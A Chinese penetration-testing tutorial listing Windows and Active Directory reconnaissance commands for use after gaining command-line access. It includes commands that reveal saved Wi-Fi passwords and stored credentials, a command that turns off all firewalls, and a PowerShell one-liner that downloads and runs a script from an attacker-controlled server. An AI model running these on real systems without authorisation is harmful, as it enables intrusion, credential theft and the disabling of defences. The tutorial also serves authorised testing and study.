Windows信息收集、渗透测试常用命令 (゚益゚メ) 渗透测试

1,108 阅读4分钟

文章目录

简介

Windows中虽然可视化非常完善,但我们在渗透过程中很多时候只能调用目标命令行,无法使用可视化界面。Windows主机在渗透过程中主要有两大类,一个是工作组模式,一个是域模式,点击查看->工作组和域的区别<-

通用信息收集命令

通用命令指的是指工作组和域下都通用的命令Windows
Windows命令不同于Linux的添加属性时为中横岗-, Windows命令主要是使用斜杠/,查看大部分Windows命令的帮助信息都是添加/?参数即可。大多数情况下,Windows中的命令行对大小写都是不敏感的。

  1. net: Windows网络相关命令

    • net user: 查看本地用户列表
    • net accounts: 查看本地密码策略
    • net localgroup: 查看当前计算机中所有组
    • net localgroup administrators: 查看管理员组的信息(哪些用户为管理员)
    • net statistics workstation: 查看主机开机时间和开机后的网络状态
    • net session: 列出本地计算机连接的客户端对话信息
    • net share: 查看本机共享列表和可访问的域共享列表
    • net use 本地盘符 \\目标IP地址\目标共享名: 这里目标共享名可以通过对目标执行net share查看,这条命令可以将目标盘符挂载到我们本地。在这里插入图片描述
  2. whoami: 查看当前使用的用户信息

    • whoami /all: 查看更详细的信息
  3. quserqwinsta: 查看当前所有在线用户和会话

    • quser 用户名或会话名qwinsta 用户名或会话名: 查看指定在线用户
      PS: 这俩命令效果差不多,一个优先显示用户,一个是优先显示会话
  4. ipconfig: 查看当前计算机网络信息

    • ipconfig /all: 查看更详细的网络信息
    • ipconfig /displaydns: 查看DNS缓存信息
  5. systeminfo: 查看计算机系统详细信息(比如:CPU信息,系统具体版本信息,当前安装的补丁,网卡信息等等)

    • systeminfo.exe | findstr "OS": 查看系统相关信息,(使用findstr进行搜索指定的信息,搜索的时候字母大小写是有区别的)
    • systeminfo.exe | findstr "KB": 查看补丁列表
  6. wmic: 使用此命令可以查看更多的系统软硬件相关信息。可以直接使用wmic oswmic cpu等方式查看需要的信息。在这里插入图片描述

    • wmic service list brief: 当前服务摘要,可以查看当前计算机中有哪些服务,在和我们在任务管理中查看的是一样的。添加list brief后只会显示当前需要信息的一些重要摘要。精简后的信息方便查看。在这里插入图片描述
    • wmic product get name,version,InstallSource: 当前安装软件的名称、版本、安装位置(如果无法使用wmic,还可以使用Get-WmiObject Win32_Product,查看当前已安装的软件)。如果需要的信息不再摘要中,可以使用get来指定需要显示的信息
    • wmic qfc: 查看当前系统补丁的相关信息(名称,描述,安装日期,id等)
    • wmic process: 查看进程信息(可以只查看关键信息wmic process list brief,或者使用tasklist查看进程信息)
    • wmic startup: 查看启动程序信息(wmic startup list brief)
    • wmic /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct: 查看安装的杀毒软件
    • wmic share: 查看本机共享列表和可访问的域共享列表(和上述net share作用相同)
  7. schtasks: 查看计划任务(Windows8之前可以使用at),可以使用schtasks /query /fo list /v(使用列表格式/fo list显示所有计划任务/query的详细信息/v)

  8. cmdkey: 创建,显示和删除保存的凭证信息(用户名和密码)。

    • cmdkey /l: 查看具体凭证信息
  9. type: 相当于Linux中的cat,用于查看一些文本文件

    • type C:\Windows\system32\drivers\etc\hosts: 查看hosts文件
  10. netstat: 查看本机各端口状态

    • netstat /ano: ano是最常用的参数。此参数的含义为将所有的连接(TCP和UDP都有)/a,以数字形式显示地址和端口号/n.并且显示与每个连接关联的进程 ID/o。(使用netstat -ano |findstr "端口号"命令可以查看指定端口信息)
    • netstat /anob: 如果权限足够,还可以使用参数/b,他可以显示在创建每个连接或侦听端口时涉及的可执行文件。
    • netsh wlan show profiles: 查看当前保存过的wifi名称,然后在使用netsh wlan show profile name=WIFI名称 key=clear,即可查看WiFi的详细信息以及密码。在这里插入图片描述
    • netsh firewall set opmode disable: 查看防火墙配置
    • netsh advfirewall firewall show rule name=all: 查看已配置的防火墙规则
    • netsh advfirewall set allprofiles state off: 关闭所有防火墙(包括域,专用,公共)此命令需要管理员权限,此命令只能在Windows XP(Windows server 2003)之后的版本执行。老版本系统使用netsh firewall set opmode disable关闭域防火墙。
  11. route: 操作网络路由表。

    • route print: 查看路由表和地址解析协议(arp)缓存
  12. arp: 显示和修改地址解析协议(ARP)使用的“IP 到物理”地址转换表。

    • arp /a: 查看地址解析协议缓存(相比于route print,这个命令对地址的分类更加清晰,更方便我们找到内网中其他和目标主机通讯过的主机)
  13. reg query: 查看注册表相关信息

    • reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer: 查看代理信息(全局代理时使用此命令查看)
    • reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL: 查看代理信息(自动代理,比如PAC模式时候使用此命令查看)在这里插入图片描述

回收站内容获取

首先我创建了一个测试文件,并将其删除进入回收站,之后我们就测试查看此文件
在这里插入图片描述
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid')do dir /a /b C:\$Recycle.Bin\%d\ ^>%c.txt,首先我们在cmd中执行上述命令。(注意这里必须是cmd,这条命令不支持在powershell中执行!!!)
在这里插入图片描述
从中我们可以找到当前用户的SID和一个隐藏文件夹,然后我们移动(cd)到这个目录中
在这里插入图片描述

自动化信息收集

自动收集脚本

  1. HIGS.bat:github.com/myh0st/scri…

  2. winPEAS.bat: github.com/carlospolop…

  3. Powerless.bat: github.com/M4ximuss/Po…

  4. Get-Information.ps1:github.com/samratashok…
    使用方法:

    1. 本地加载: 直接在本地运行即可,比如说上述HIGS.bat我在本地运行后生成如下文件在这里插入图片描述
    2. 远程执行:比如Get-Information.ps1 powershell iex(new-object net.webclient).downloadstring('脚本所在公网地址');Get-Information, 这里公网地址可以使用一个vps运行python -m http.server即可
      在这里插入图片描述
      在这里插入图片描述

使用msf自动化收集模块

  1. (metasploit怎么用上,): 这里我已经渗透进入一台目标主机,进入了sessions

    • run scraper: 比较全面的系统信息,比如注册表,安装软件,网络环境等信息。
    • run winenum: 收集一些当前系统,用户组相关的信息。
      在这里插入图片描述
      如果是root用户,这两个命令收集的信息保存的目录是/root/.msf4/logs/scripts/中,如果不是root用户,则会自动保存进入home/用户名/.msf4/logs/scripts/
      在这里插入图片描述

域专用命令

  1. net: Windows网络相关命令

    • net view /domain: 查询域名(使用net view命令时,要确保域服务器上线,否则会报错6118)
    • net view /domain:域名查询域中的计算机(或者使用net view /all)
    • net group /domain: 查询域中所有用户组
    • net group "domain admins" /domain: 查看那些域管理员组中有哪些用户(net group "enterprise admins" /domain,可以查看域系统管理员用户,enterprise admins权限组权限大于domain admins,是域中权限最大的用户组)
    • net group "domain users" /domain: 查询域中所有用户(或使用net user /domain)
    • net group "enterprise admins" /domain: 查看加入域的服务器列表在这里插入图片描述
    • net config workstation: 查看域信息(当前登录的域)
    • net user 指定用户名 /domain: 查看指定用户的详细信息
    • net time /domain: 查看域控当前的时间(可以哟用于查看域控所在的主机地址,用于寻找域控)
      在这里插入图片描述
    • net accounts /domain: 当前域密码策略
    • net localgroup administrators /domain: 查看本机的域管理员(net localgroup administrators命令既可以在域中执行也可以在工作组中执行,而这条命令只能在域中执行)
  2. dsquery: 此工具一般只存在域控中,如果没有目标机器没有此命令,可以自行下载添加。此命令当前只找到Windows server 2012以及之前的版本dsquery下载地址

    • dsquery computer: 查看当前域中所有机器
    • dsquery user: 查看当前域中所有账户名
    • dsquery group: 查看当前域中所有组名
    • dsquery subnet: 查看当前域所在网段(可以结合nbtscan使用)
    • dsquery site: 查看域内所有的web站点
    • dsquery server: 查看当前域中的服务器(一般只能看到自己和域控的)
    • dsquery user domainroot /name *admin* /limit 240: 查询域内账号名中带admin的前240个结果。在这里插入图片描述
  3. nltest:

    • nltest /domain_trusts: 查看域信任列表
    • nltest /dclist:de1ay: 查看当前域控制器的机器名在这里插入图片描述
  4. whoami: 查看当前使用的用户信息

    • whoami /fqdn: 查看当前域信息

定位域控方法

  1. 使用ipconfig: 查看详细的网络信息ipconfig /all中会有DNS服务器信息,而一般这个DNS服务器就是域控所在的位置。在这里插入图片描述

  2. nslookup: 一般address中的目标地址即为域控所在,如果这里显示为::1则代表本机即为域控。在这里插入图片描述

    • 如果权限足够可以使用nslookup -type=all _ldap._tcp.dc._msdcs.域名.com查看域控详细信息。
      在这里插入图片描述
    • 还可以查看域内邮件服务器(nslookup -q=mx 域名.com)和DNS服务器(nslookup -q=ns 域名.com)
      在这里插入图片描述
  3. setspn: 可以使用setspn -q */*setspn -T 域名.com -q */*定位

  4. net group: 使用net group "domain controllers" /domain查看域控名称
    在这里插入图片描述